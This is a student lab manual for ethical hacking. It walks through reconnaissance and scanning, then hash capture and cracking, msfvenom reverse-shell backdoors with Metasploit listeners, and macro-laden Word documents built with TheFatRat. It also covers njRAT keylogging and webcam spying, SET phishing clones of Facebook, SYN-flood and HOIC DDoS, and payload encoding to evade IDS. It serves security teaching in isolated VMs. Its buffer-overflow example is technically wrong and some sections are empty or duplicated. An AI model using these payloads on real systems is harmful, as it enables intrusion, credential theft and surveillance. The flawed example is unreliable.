Ethical Hacking Lab Manual
Ethical Hacking Lab Manual
MANUAL
EXPERIMENTS IN Ethical Hacking
● Perform experiments that demonstrate the workings of security systems and vulnerabilities
as explained in the theory course.
● Introduce students to electronic tools and software used in ethical hacking practices, which
may not be fully covered in the lecture course due to time constraints.
● Familiarize students with proper laboratory procedures, including precise record-keeping,
logical troubleshooting, ethical considerations, and adherence to legal and professional
standards.
The sequence and scope of the experiments in this booklet are parallel to the material covered in
the textbook. All experiments have been tested by students and revised to improve clarity and
effectiveness. The authors welcome any comments or suggestions to enhance the style, scope, or
clarity of the experiments, as well as to ensure the ethical integrity of the content.
Hamza Ayub
Wahaj Babar
Certified Ethical Hacking
CONTENTS
Sr. Experiment Name
No
Fundamentals
1 Setup of Hacking Lab
4 System Hacking
5 Malware Threats
THEORY REFRESHER:
Before setting up the hacking lab, it's essential to understand the basics of
virtualization and its importance in ethical hacking environments. Virtualization allows us to
create virtual machines (VMs) within a single physical machine, enabling us to run multiple
operating systems simultaneously. In the context of ethical hacking, virtualization enables the
creation of isolated environments for testing various tools and techniques without affecting
the host system or network.
PROCEDURE:
○ Memory size. Choose how much memory to allocate to the virtual machine and click
Next. The default setting for Linux is 1024 MB. However, this varies depending on
your individual needs.
○ Hard disk. The default option is to create a virtual hard disk for the new VM. Click
Create to continue. Alternatively, you can use an existing virtual hard disk file or
decide not to add one at all.
○ Hard disk file type. Stick to the default file type for the new virtual hard disk, VDI
(VirtualBox Disk Image). Click Next to continue.
○ Storage on a physical hard disk. Decide between Dynamically allocated and Fixed
size. The first choice allows the new hard disk to grow and fill up space dedicated to
it. The second, fixed size, uses the maximum capacity from the start. Click Next.
○ File location and size. Specify the name and where you want to store the virtual hard
disk. Choose the amount of file data the VM is allowed to store on the hard disk. We
advise giving it at least 8 gigabytes. Click Create to finish.
○ Now you created a new VM. The VM appears on the list in the VirtualBox Manager.
● Configure Virtual Machine Settings
○ The next step is adjusting the default virtual machine settings.
○ Select a virtual machine and click the Settings icon. Make sure you marked the
correct VM and that the right-hand side is displaying details for Kali Linux.
○ In the Kali Linux – Settings window, navigate to General > Advanced tab. Change the
Shared Clipboard and Drag’n’Drop settings to Bidirectional. This feature allows you to
copy and paste between the host and guest machine.
○ In the Kali Linux – Settings window, navigate to General > Advanced tab. Change the
Shared Clipboard and Drag’n’Drop settings to Bidirectional. This feature allows you to
copy and paste between the host and guest machine.
○ Go to System > Motherboard. Set the boot order to start from Optical, followed by
Hard Disk. Uncheck Floppy as it is unnecessary.
○ Next, move to the Processor tab in the same window. Increase the number of
processors to two (2) to enhance performance.
○ Finally, navigate to Storage settings. Add the downloaded Kali image to a storage
device under Controller: IDE. Click the disk icon to search for the image. Once
finished, close the Settings window.
○ Click the Start icon to begin installing Kali.
COMPONENTS/Tools:
● Kali Linux virtual machine
Objectives:
● Identify IP address
● Identify Domain and Domain Name Schema
● Identify Server Side Technology
● Identify Service Oriented Architecture (SOA) information
● Identify Name Server
● Identify Mail Exchanger
● Identify Geographical Location
● Identify Entities
● Discover Email addresses and Phone numbers
PROCEDURE:
● Click on the (+) icon located at the top-left corner of the GUI (in the toolbar) to create
a new graph window (like a blank document).
● Go to the left panel and expand the Infrastructure node under Entity Palette. This list
has a bunch of useful entities such as AS, DNS Name, Domain, MX Record, etc.
● Drag the Website entity to your New Graph(1) section.
● Rename the domain name to [Link]
● Identifying the server side technology
● Right-click the entity and select All Transforms and click To Server Technologies
[BuiltWith]
● Identifying the Domain
○ Create a new graph or delete/save the previous results.
○ Right-click the Domain entity and select All Transforms -> To Domains [DNS].
● This transform will attempt to test name schemas against a domain and try to identify a
specific name schema for the domain.
● Identifying the SOA information
COMPONENTS/Tools:
Objectives:
PROCEDURE:
PROCEDURE:
THEORY REFRESHER:
The Harvester is used to gather open source intelligence (OSINT) on a company or domain.
theHarvester gathers emails, subdomains, hosts, employee names, open ports and banners from
different public sources like search engines, PGP key servers and SHODAN computer
[Link] been developed in Python by Christian Martorella. It's a very helpful tool in the early
stages of penetration tests. Help to understand the customer footprint on the internet. Some
professionals also use theHarvester to review the information available to an attacker through the
internet.
Requirements:
Objectives:
Procedure:
THEORY REFRESHER:
Network Scanning refers to a set of procedures performed to identify hosts, ports, and
services running in a [Link] purpose of network scanning is as follows:
● Recognize available UDP and TCP network services running on the targeted hosts.
● Recognize filtering systems between the user and the targeted hosts.
● Determine the operating systems (OSs) in use by assessing IP responses.
● Evaluate the target host's TCP sequence number predictability to determine
sequence prediction attack and TCP spoofing.
Objectives:
● How to perform network scanning and packet crafting using hping3 commands.
Requirements:
PROCEDURE:
PROCEDURE:
● Scan a whole Subnet
○ Open the Terminal window and type
● By issuing the --packet-trace command, Nmap sends some packets to the intended machine
and receives packets in response to the sent packets. It prints a summary of every packet it
sends and receives.
○ Identifying Services with TCP Null Scan
Aggressive mode speeds scans up by making the assumption that you are on a reasonably
fast and reliable network.
-A: Enables OS detection, version detection, script scanning, and traceroute
Objectives:
● Scan all the machines on a given network or subnet.
● List all alive hosts.
● Determine open ports on a given node.
● Find if any port has firewall restrictions.
● Enumerate all the services running on the port along with their respective versions.
Requisites:
● Windows Server 2012 or 2016 machine.
● Kali Linux machine.
● Another version of Windows (7, 8, 10 or Server).
Procedure:
● Ping Sweep - Nmap
○ You can perform a ping sweep in Nmap by using ping scan only (-sP) on the
whole subnet.
○ The ping sweep on Nmap will scan all the nodes on the subnet and starts
displaying all the hosts that are up and running, along with their respective
MAC Addresses and device information.
○ Open a new Terminal window on your Kali Linux and type::
○ Now, choose an IP address from the results, and perform a stealth syn scan
on Nmap.
Objectives:
● Connected devices
● Hostname and information
● Domain
● Hardware and storage information
● Software components
● Total memory
Requirements:
Procedure:
● Test for SNMP Port Status
○ First we need to find out whether the SNMP port is open. SNMP uses port 161
by default. To check this information, we first need to run Nmap port scan.
● Both methods enumerate the target machine information, and retrieve the same
comprehensive list displaying the System Information. These tools supports the
following enumerations:
○ Host IP
○ Hostname
○ Hardware description
○ System uptime
○ SNMP uptime
○ Domain if system is connected in Domain
○ User Accounts
○ MAC Addresses
○ Running Processes
EXPERIMENT 3
Vulnerability Assessment and Management
COMPONENTS/Tools:
● Kali Linux machine (Attacker)
● Windows 7 (Victim/Target)
THEORY REFRESHER:
Vulnerability Scanning refers to auditing hosts, ports, and services running in a
network to assess the security posture and search for security [Link] determines the
possibility of network security attacks, evaluating the organization's systems and network for
vulnerabilities such as missings patches, unnecessary services, weak authentication, and
weak encryption. Vulnerability scanning is a critical component of any penetration testing
assignment.
Procedure:
● To connect and fetch the data just write this command in the terminal of kali.
Requirements:
● Nessus Essentials
● Windows 10
Procedure:
● To setup your virtual machine:
○ Create a new virtual machine (Machine > New)
○ Name the machine and select your Windows 10 Pro image for the ISO Image prompt.
○ On the Unattended Guest OS Install Setup page: Create an easy to remember
username and password, nothing else on this page needs to be changed. No product
key needed.
○ On the next page, you can leave the default ram and virtual CPU count, or adjust
them to the specs of your system for better performance.
○ The same applies to the Virtual Hard Disk page. I used 50 gb. Then you’re safe to
‘next’ through until you see the finish button and you’re good to go.
○ Now, right click on your new VM and click settings. Go to the network tab and switch
where it says Attached To: to Bridged Connection and then click Okay.
○ Start up your new VM and let Windows install. Make sure when setting up windows
that you choose not to connect to the internet, it can lead to unnecessary
complications for what we’re trying to do. After starting up, open the RUN (Win + R)
and type [Link].
○ In the firewall settings, you’ll see text that says ‘Turn Windows Firewall On or Off’.
Click this and then you should turn off both the Private and Public firewall settings. (I
realize this is not best practice, but we really just want to get hands on with Nessus)
● To set up Nessus Essentials:
○ Follow the link and register an account. You should receive a ‘key’ and you should
also receive an installer.
○ Install Nessus, it will give you a local URL to access the app (save this URL
somewhere just in case). Then next through the installation steps, ensuring that you
select Nessus Essentials. Wait for it to install and you should be good to go.
● Scanning your Virtual Machine:
○ We turned off the Virtual Machines firewall so that our Nessus will be able to talk to
our virtual machine, if you were to try and ping the machine it would be unsuccessful.
If you know how to open the proper ports and would like to take the time, you can do
that as well instead of fully turning off the firewall, but for the sake of brevity, I have
chosen to turn it off. I also still ran into some issues with discovering my virtual
machine using ICMP, so I botched together a workaround that I discuss in the steps
ahead.
○ Click New Scan in the upper right hand corner and then select Basic Network Scan.
○ Give your scan a name, whatever you please, and then write in the IP address of your
virtual machine. (You can find this by using the command line in your virtual machine
and typing ipconfig. You’re going to want to use the IPv4 address, if you didn’t know
that already…)
○ Now you’re going to want to select the Discovery setting under Basic. Click the
dropdown and select custom, and you’ll see that you’ll receive new options on the left
under Discovery. Select Host Discovery and then turn off Ping the Remote Host. Then
select save, or launch if given the option. (If you select save you’ll have to press the
little play triangle on your saved scan to start a scan)
● The first scan should take a minute, you can select it and view what it finds in real time. You
can click through these and read about the vulnerabilities and how to remediate if you need
to. Notice also that they are color coded and ranked based on severity. It even produces a
nice visualization to give you an idea of how safe / hardened your machine is.
● Now to get an even more detailed scan, we need to reconfigure the scan. Go back to the
main screen, and click the box on the left of our scan. Then select the drop down that says
More in the top right and click Configure. Now we will click the tab next to Settings that says
Credentials. This is how we will perform a credentialed scan, which should give us even
greater results on our next scan.
● Select Windows from the categories on the left, and then under the Authentication method
choose Password. Type in the username of your virtual machine and the password as well.
Click Save, and re-run the scan the same way we did before. (Now you’ll have to leave this
page after hitting scan and hit the play button next to our scan) It should look similar to the
following:
● Now that our credentialed scan is setup, what we’re going to want to do, to more easily
illustrate the steps of discovery and remediation, is to install an old outdated version of
Mozilla Firefox on the virtual machine and watch as Nessus chews you out for this fowl
indiscretion. Here were results:
● To get familiar with Nessus, try and read through the Critical > High > Medium vulnerabilities
and follow their guidance to remediate them. To solve the issues it has with Firefox you can
either uninstall it from the vm, or update it so that it's no longer susceptible. In my own
instance, I also disabled Internet Explorer, and added a few registries using regedit to remove
the WinVerifyTrust Signature vulnerability, but obviously it’s not necessary for this tutorial. It is
more so to get familiar with Nessus, and the Discovery > Remediation workflow.
● After remediation has taken place, run the scan again and you’ll see the number of Critical >
High > Medium vulnerabilities has significantly decreased. Here is a picture after only
removing the outdated Firefox:
EXPERIMENT 4
System Hacking
THEORY REFRESHER:
System hacking is the science of testing computers and networks for vulnerabilities
and harmful plug-ins. System hacking is itself a vast subject which consists of hacking the
different software based technological systems such as laptops, desktops, etc. System
hacking is defined as the compromise of computer systems and software to gain access to
the target computer and steal or misuse their sensitive information. Here the malicious
hacker exploits the weaknesses in a computer system or network to gain unauthorized
access of its data or take illegal advantage of it.
Objectives:
Requisites:
Procedure:
● Using Responder
○ Launch and login to Windows 10 machine. (Make sure to select a common
password that 'non-tech' people will use - i.e qwerty).
○ Go to Kali Linux and open the Terminal window.
○ Start Responder to listen to the network interface. (You can type responder -h
responder -I eth0
○ Now go back to the Windows 10 machine and let's assume that you want to
access a shared network drive connected in your network. Launch run and
type:
\\ceh-tools
● SMB-NTLMv2-SSP-[Link].txt
○ These are hashes of the logged in user collected by the responder. Now let's
crack these hashes.
○ To crack the passwords we will use JohnTheRipper.
○ Open a new Terminal window and type john and the path to the responder logs
the name of your log file (note the file name may differ from your lab
environment):
john /usr/share/responder/logs/SMB-NTLMv2-SSP-[Link].txt
The cracked passwords hashes of the Dummy user have shown in the output above.
Part (b): Cracking SAM hashes to Extract Plain Text passwords
THEORY REFRESHER:
SAM (Security Account Manager) is a database file present in Windows machines
that stores user accounts and security descriptors for users on a local computer. It stores
users' passwords in a hashed format (in LM hash and NTLM hash). Because a hash
function is one-way, this provides some measure of security for the storage of the
passwords.
Objectives:
● Use the pwdump7 tool to extract password hashes.
● Use the Ophcrack tool to crack the passwords and obtain plain text passwords.
Requisites:
● Windows 10 machine.
Procedure:
● Generate Hashes
● Before anything, we need to find the User IDs associated with the usernames for
Windows 10.
● Launch the Command prompt in Administrator mode and type:
● This command we got the usernames and their respective UserIDs. Make a note of
each UserID for further steps.
● To gather the Password hashes, go to the pwdump7 folder and execute the .exe file.
cd C:\Users\Dummy\Desktop\pwdump7
[Link]
● Now place the usernames before the respective UserIDs that we have gathered in
step 2 and save the file.
○ Using Ophcrack to crack the hashes
○ Launch the Ophcrack application.
○ Click on Load and select PWDUMP file
○ Next, you will need to download tables to perform the cracking. Select the
Vista free to download.
○ Go to the Ophcrack and click the Tables menu to load the Table.
○ On the Table Selection window, select the Vista free, and click Ok.
○ This table_vista_free is a pre-computed table for reversing cryptographic hash
functions and recovering plaintext passwords up to a certain length. The
selected table_vista_free is installed under the name Vista free, which is
represented by a green colored bullet.
○ Click Crack on the menu bar. Ophcrack begins to crack passwords. This action
will take a few minutes.
Objectives
● Demonstrate how to escalate privileges on a victim machine by exploiting its
vulnerabilities.
Requisites:
● Kali Linux virtual machine.
● Windows 10 virtual machine.
Procedure:
● Create a Backdoor
○ To create the malicious executable file, type this command and put your Kali IP
address on LHOST option:
○ msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e
x86/shikata_ga_nai -b "\x00" LHOST=[Link] -f exe > Desktop/[Link]
○ This command will create the Windows executable file named [Link] and
will be saved on the Kali desktop.
Apache configuration
● Navigate to the apache2 folder, open the [Link] configuration file, and add a
new line:
vim /etc/apache2/[Link]
● Add a new line with the command: servername localhost and save the file.
msfconsole
● Switch back to the Kali machine. Meterpreter session has been successfully opened,
as shown below:
○ [*] Sending stage (180291 bytes) to [Link]
○ [*] Meterpreter session 1 opened ([Link]:4444 -> [Link]:49804) at
2019-12-18 [Link] -0500
● To interact with the available sessions, you can use the command sessions or
sessions -i to list the current sessions opened. To open any session, select the ID by
issuing the command:
sessions <ID>
Objectives:
● How to use an office document to exploit a windows machine.
Requisites:
Procedure:
● Set up TheFatRat
○ Go to your Kali machine and open the Terminal.
○ Navigate to the /opt/ folder.
cd /opt
○ Clone the original github repository from FatRat:
git clone [Link]
○ Change the folder permissions:
chmod -R 755 /opt/TheFatRat/
○ Go to the TheFatRat folder:
cd TheFatRat/
○ Execute the bash file ([Link]) to begin the installation:
./[Link]
○ An Updating Kali Repo xterm window will popup as shown below:
● Make a Backdoor File
○ After the installation is complete, in the Terminal, type fatrat and hit enter.
○ When FatRat launches, starts to verify the installed dependencies, you will get
multiple prompts, just type Enter to continue.
○ On the FatRat menu, choose [06] Create Fud Backdoor 1000% with
PwnWindws [Excelent] by typing 6.
○ PwnWinds menu appears as shown above, choose the [3] Create exe file with
apache + Powershell (FUD 100%) by typing 3 in the menu.
○ Set the LHOST IP to your Kali IP; LPORT to 4444 and the output to payload
as shown above.
○ Next, choose [3] windows/meterpreter/reverse_tcp by typing 3.
● On the Microsploit menu, choose [2] The Microsoft Office Macro on Windows by
typing 2.
● The next configurations will be:
○ LHOST IP: [Your Kali IP]
○ LPORT: 4444
○ Enter the base name for output files: EvilDoc
○ Enter the message for the document body: you have been PWNED :)
○ The next prompt will ask if you want to use a custom exe to file backdoor.
Choose y for yes.
○ Specify the exactly path to your [Link] that you generated on the
beginnings of this lab: /root/Fatrat_Generated/[Link]
○ On the Payload Option, choose the [3] windows/meterpreter/reverse_tcp by
typing 3. Navigate to the output folder of FatRat to see the generated Word
file.
● Set Up a Listener
○ Open another Terminal window and launch metasploit by typing: msfconsole.
○ Select the multi/handler:
use multi/handler
○ Set the payload to meterpreter/reverse_tcp:
set payload windows/meterpreter/reverse_tcp
○ Set the LHOST to your Kali IP and LPORT to 4444:
set LHOST [Link]
set LPORT 4444
○ Type run to start the listener:
Run
● Share the Malicious Doc File
○ To share the malicious file to Windows machine, copy the Doc file to the
apache folder. Open a new Terminal window and type:
cp /root/Fatrat_Generated/[Link] /var/www/html/share/
○ Then, start the apache service:
service apache2 start
○ Open the Malicious doc
○ Switch to your Windows machine and open the browser.
○ Type the URL (based on your Kali IP):
[Link]
○ Then, download the malicious doc that you generated.
● Open the downloads folder and click the MS Word file.
○ MS Word opens the file in Protected View. Click Enable Editing as shown
below:
○ If you got the SECURITY WARNING because of the Macros, click on Enable
Content.
○ Now Switch back to the Kali, if everything works, you will find a Meterpreter
session open in the Metasploit terminal.
○ If you got the SECURITY WARNING because of the Macros, click on Enable
Content.
○ Now Switch back to the Kali, if everything works, you will find a Meterpreter
session open in the Metasploit terminal.
○ Now you can view the exploited system details and so on. Informally you can
call this action 'profit' :)
EXPERIMENT 5
Malware Threats
THEORY REFRESHER:
Malware / Malicious Software is a type of program that contains malicious or harmful
code embedded in apparently harmless programming or data in such a way that it can take
control of a system or its operations and cause damage, such as running the file allocation
table on a hard [Link] poses a major security threat to the information security.
Malware writers explore new attack vectors to exploit vulnerabilities in information systems.
Requirements:
● Windows 10 (Attacker).
● Windows 7, 8 or Server (Target).
Objectives
● Create a server using njRAT.
● Access the target machine remotely.
Procedure:
● Create an Executable Server with njRAT
○ Log in to Windows 10 and install the njRAT.
○ Launch the njRAT, the GUI appears along with a pop-up, where you need to specify
the port you want to use to interact with the target machine. Use the default port
number 5552, and click Start.
○ The GUI displays the machine's basic details such as the IP address, OS,
username and so on.
● Manipulate Files on Target machine
○ Right-click on the detected Target machine and click Manager.
○ Double-click on any directory in the left pane. You can right-click any selected
directory and manipulate it using the contextual options:
○ This launches a remote desktop connection without the target's consent. You
will be able to remotely interact with the victim machine using the mouse or
keyboard.
○ In the same way, you can select the Remote Cam and Microphone to spy on
the target and track voice conversations.
● Perform Key Logging
○ Switch to the Windows 7 (Target machine). Let's assume that you are a
legitimate user and perform a few activities such as logging into any websites
or typing text in some documents.
○ Now, switch back to Windows 10 machine / njRAT GUI and right-click on the
target machine, select the Keylogger option.
● The keylogger window appears, displaying all the keystrokes performed by the target.
Part (b): HTTP RAT Trojan
THEORY REFRESHER:
HTTP/HTTPS Trojans can bypass any firewall, and work as kind of a straight HTTP
tunnel, but one that works in reverse. They use web-based interfaces and port 80 to gain
access. The execution of these trojans takes place on the internal host and spawns a "child"
at a predetermined time. The child program appears to be a user to the firewall so it allows
the program access to the internet. However, this child executes a local shell, connects to
the web server that the attacker owns on the internet through a legitimate-looking HTTP
request, and sends it a ready signal. The legitimate-looking answer from the attacker's web
server is in reality a series of commands that the child can execute on the machine's local
shell.
Objectives:
Requisites:
Procedure:
○ Log on to Windows Server 2012 and install the HTTP RAT TROJAN tool:
[Link]
○ Double-click [Link], the HTTP RAT main window appears as shown
below:
○ Uncheck send notification with IP address to mail option, enter the server port
to 84 and click Create.
○ Once the [Link] file is created, a pop-up will be displayed, click OK
and share the file with Windows 10 virtual machine.
○ The file will be saved into HTTP RAT TROJAN folder as show below:
○ Switch back to Windows Server 2012 and launch the web browser.
○ Enter the IP address of Windows 10 in the address bar to access the machine.
○ If everything works, you should get this window:
○ Click computer info to view information of the computer, users and hardware.
○ After you are done, end the [Link] process in Windows 10.
EXPERIMENT 6
Password Cracking and Hash Analysis
PROCEDURE:
● In order to identify the hash algorithm used on each of the given hases, we used hashid
which is a tool used for this exact job.
● We used the option -j that shows the format code that JTR needs in order to run on these
hashes for the next question.
● This tool cannot pinpoint the exact algorithm used for the hash, but on the contrary it
suggests a list of algorithms that could produce a hash like the given.
● For the first hash the most possible is some version of the Message Digest (MD) algorithm
● Similar to the first one, the second hash seems to be an MD hash as well
● Judging by the different size of the hash it is clear that a different algorithm than the first two
is used, hashid suggests SHA-1 among other hash types
PROCEDURE:
● For cracking the above hashes I will use the software called John The Ripper (john aka JTR).
JTR will do a dictionary attack for each hash which will only work if the given format is indeed
the hash algorithm used to create these hashes
● We decided not to provide JTR with a wordlist (dictionary) like [Link] as it can use its
default one (which seems to get the job done).
● First up, trying to crack the first password the MD5 format didn’t return any results. That
either means that the password is not in the dictionary that JTR used to attack, or that the
given format does not match the actual algorithm used.
● Here we can observe that when we run JTR again with MD4 as format, we get a result. With
this we conclude that the first password is “awesome”
● For the last two hashes the process was pretty much the same as I got a hit with the first try.
As it turns out, the password for the second hash is “Princess” and for the third hash it was
“confused”.
● We can verify our findings by running a tool like [Link] which has a pre-computed
hash lookup table for commonly used passwords
EXPERIMENT 7
Social Engineering Attacks
Objectives:
● Clone a website
● Obtain username and password
● Generate reports for conducted pentesting
Requisites:
Procedure:
Launch SET
Login to Kali Linux; Remember every Kali version comes with a pre-installed SET,
to launch (on Kali 2019.4) go to Kali Menu > 13 - Social Engineering Tools > SET
(Social Engineering Toolkit).
Clone a Website
On the SET Main menu, select the first option 1) Social-Engineering Attacks by typing
the number:
The Web Attack Vector is a unique way of utilizing multiple web-based attacks in order
to compromise the intended target.
The Credential Harvester Method will utilize web cloning of a website that has a login
input(username and password field) and harvest all the information posted to the website.
Next, type the IP address of Kali Linux and the URL to be cloned, on this example we will
use [Link] as shown below:
Now you must send the IP address of your Kali machine to a target, and trick him to
click.
For this demo, we will use Gmail; Launch the web browser on your Kali and login
to a Gmail account to compose an email.
This example will demonstrate just the technical aspect of this technique.
To create a proper link, click edit link and first type the actual address under Link
to, and then type the fake URL in the Text to display field.
You can verify the fake URL by clicking one time, it will display the actual URL.
Log in to the Cloned Website
Log in to Windows as a victim, launch the web browser and sign in to your email
(the account that you sent the phishing email).
When the victim clicks the URL, they will be presented with a replica of
[Link]. The victim will be prompted to enter his/her username and password into
the form fields. After the victim enters the Username and Passwords and clicks log in, it
does not allow logging in; instead, it redirects to the legitimate Facebook login page,
observing the URL.
The SET on Kali Linux fetches the typed username and password, which
can be used by the attacker to gain unauthorized access to the victim's account.
EXPERIMENT 8
Denial of Service (DoS) Attack Simulation
(a) SYN Flooding
Requisites
Procedure:
Log into the Kali Linux and open a new terminal window.
We are going to perform SYN flooding on Windows 10 through some open port. To
check what port is open or not, we will use Nmap to scan all open ports.
nmap -p- <Windows 10 IP address>
In this lab, we will use an auxiliary module from Metasploit named synflood to
perform DoS attack on the target using port 445.
msfconsole
msfconsole
use auxiliary/dos/tcp/synflood
options
● We will change the RHOST, RPORT and SHOST parameters:
● By setting the SHOST option to the IP address of Windows Server, you are
spoofing the IP address of Kali Linux machine.
● Once the auxiliary module is configured, start the DoS attack on Windows
10 by typing:
run
● Switch to the Windows 10 machine and launch the Wireshark, select the correct
interface and click start.
● Wireshark displays the traffic coming from the machine as shown below:
● Here, you can observe that the source IP address is from Windows Server. This
implies that the IP Address of Kali Linux has been spoofed.
● Next, open the Task Manager on Windows 10 and click the performance tab.
● You will observe that the CPU and Ethernet usage has increased drastically after the
attack, which implies that the DoS attack is in progress. If the attack is continued
for some time, the machine's resources would be completely exhausted, and it will
stop responding.
Requisites
Overview of HOIC
High Orbit Ion Cannon (HOIC) is a free, open-source network stress application
developed by Anonymous, a hacktivist collective, to replace the Low Orbit Ion Cannon
(LOIC). Used for denial of service (DoS) and distributed denial of service (DDoS) attacks, it
functions by flooding target systems with junk HTTP GET and POST requests.
Log in to Virtual Machines
● Before beginning this lab, turn on and log in to all virtual machines on this lab
(Windows 7, 10, Server and Kali Linux).
● Copy the High Orbit Ion Cannon (HOIC) folder onto all the Windows virtual
machines(3).
Configure HOIC
● Switch to the Windows 10 and open the HOIC ([Link])
● On the HOIC GUI, click '+' to add the target.
Now repeat this process on every Windows virtual machine in your lab.
Setting up
● Install KFSensor and Wireshark on Windows 10 virtual machine.
● Launch the KFSensor as Administrator.
● Click on Settings on the top menu and Set Up Wizard:
Leave the options as default until and stop on DoS options.
● Select Cautious from Denial of Service Options drop-down list, and select Enable packet
dump files from the Network Protocol Analyzer drop-down list:
● On the left panel you will see the FTP icon is green, and the FTP section is empty, it means
currently there is no traffic through port 21.
● Now, the KFSensor is configured to detect DoS attacks.
● In this lab, only three machines are demonstrated flooding a single machine. If
there are a large number of machines performing flooding, then the target Kali
Linux resources are completely consumed and the machine is overwhelmed.
● In real time, a group of hackers operating hundreds or thousands of machines
configure this tool on their machines, and simulate the DDoS attack by
flooding a target machine/website at the same time. The target is
overwhelmed and stops responding to user requests or starts dropping
packets coming from legitimate users. The larger number of attacker
machines, the higher the impact of the attack on the target machine/website.
● To stop the DDoS, click FIRE THE LAZER! again, and then close the HOIC
window in all the attacker virtual machines.
Detecting DoS Attack
Switch to the Windows 10, you should now be able to access it.
Now the FTP icon in the left pane changes to red, and the FTP section in the right pane is
flooded with events.
COMPONENTS/Tools:
● Attacker Machine (kali)
● Victim Machine (windows/linux)
PROCEDURE
Step 1: Install Ettercap if you don't have it installed. In a Linux distribution, you can
install it by running:
Step 2: Start ettercap in graphical mode using sudo, as root privileges are required to
perform sniffing:
Objective:
Understand and exploit a simple buffer overflow vulnerability using Python
Requirements:
● Python (Python 3.x is recommended)
● Understanding Buffer Overflow
● Let's create code that is vulnerable to buffer overflow in Python.
# [Link]
import socket
def start_server():
server_socket = [Link](socket.AF_INET,
socket.SOCK_STREAM)
server_socket.bind(('localhost',12345))
server_socket.listen(1)
client_socket, addr = server_socket.accept()
while True:
data = client_socket.recv(1024)
print('Received data:', [Link]())
if not data:
break
client_socket.close()
if __name__=="__main__":
start_server()
● In the above Python script, we create a simple TCP server that's going to
receive data of size 1024 bytes.
● Exploiting Buffer Overflow
● A potential attacker can try to send more data than this buffer can contain.
We'll simulate this using a Python client.
# [Link]
import socket
def send_data():
client_socket = [Link](socket.AF_INET,
socket.SOCK_STREAM)
client_socket.connect(('localhost', 12345))
payload = 'A' * 5000
client_socket.send([Link]())
client_socket.close()
if __name__=="__main__":
send_data()
● In the above Python client, we send 5000 bytes of data to the server which is
way beyond expected 1024 bytes. This is where buffer overflow is taking
place.
# Secure [Link]
import socket
def start_secure_server():
server_socket = [Link](socket.AF_INET,
socket.SOCK_STREAM)
server_socket.bind(('localhost', 12345))
server_socket.listen(1)
client_socket, addr = server_socket.accept()
while True:
data = client_socket.recv(1024)
if len(data) > 1024: # Check if data is more than buffer
size
print('Received data is too large.')
else:
print('Received data:', [Link]())
if not data:
break
client_socket.close()
if __name__=="__main__":
start_secure_server()
● In the secure version of the server, we check the length of the data before
processing it. Hence, even if the client sends larger data, the server handles it
securely without causing buffer overflow.
● To practice this lab, save both vulnerable and secure server scripts as
[Link] and secure_server.py respectively. Similarly, save the client script as
[Link]. Run them locally to simulate buffer overflow and its mitigation."
EXPERIMENT 11
Objective
● Understand and exploit a simple SQL Injection vulnerability.
Requirements
● SQLmap tool or a similar tool
● Basic understanding of SQL
● Understanding SQL Injection
Procedure:
● Consider a vulnerable PHP script which interacts with a MySQL database:
sqlmap -u "[Link]/[Link]?id=1"
--dbs
● In the command above, -u specifies the URL to attack, and --dbs instructs
SQLmap to enumerate database names.
● If the website is vulnerable, SQLmap will return a list of all databases in the
server. To enumerate tables in a specific database:
● plaintext
sqlmap -u "[Link]/[Link]?id=1"
--dbs
● Here, -D specifies the database name, and --tables commands SQLmap to
enumerate tables within that database.
Objective
● Learn to capture and analyze wireless network packets.
Requirements
● Wireshark, Aircrack-ng tools
● Knowledge of command line/interface
● A wireless adapter capable of packet capture (monitor mode)
Procedure:
Please note that the activities discussed should be carried out on your own network or
a network you have express permission to use.
After this, you should see a new monitor mode interface listed, typically named 'mon0'
or 'wlan0mon'.
This would show you an overview of the wireless networks around you. Once you see
your target network (router's BSSID), start capturing packets by specifying the
channel (CH), and creating a file (.cap) where the packets will be saved for analyzing:
Let this run until you feel you've captured enough packets.
Wireshark presents a comprehensive breakdown of each packet, you can see the
source and destination, protocol being used, packet length, and data. Peruse through the
packets, and try using filters for more specific queries.
EXPERIMENT 13
Objectives
● How to deploy and manipulate IDS evasion techniques.
● Understanding of different strategies to bypass IDS.
Requirements
● Kali Linux (Attacker machine)
● Windows 10 (Target machine)
● IDS (Snort, Suricata, or others)
sslstrip -a -k -f
● Note: sslstrip -a -k -f intercepts all connections (-a), kills old sessions (-k), and fakes
SSL certificates (-f).
Msfconsole
● Now, generate a payload, but use the '-x' command to encode your payload with
Shikata Ga Nai.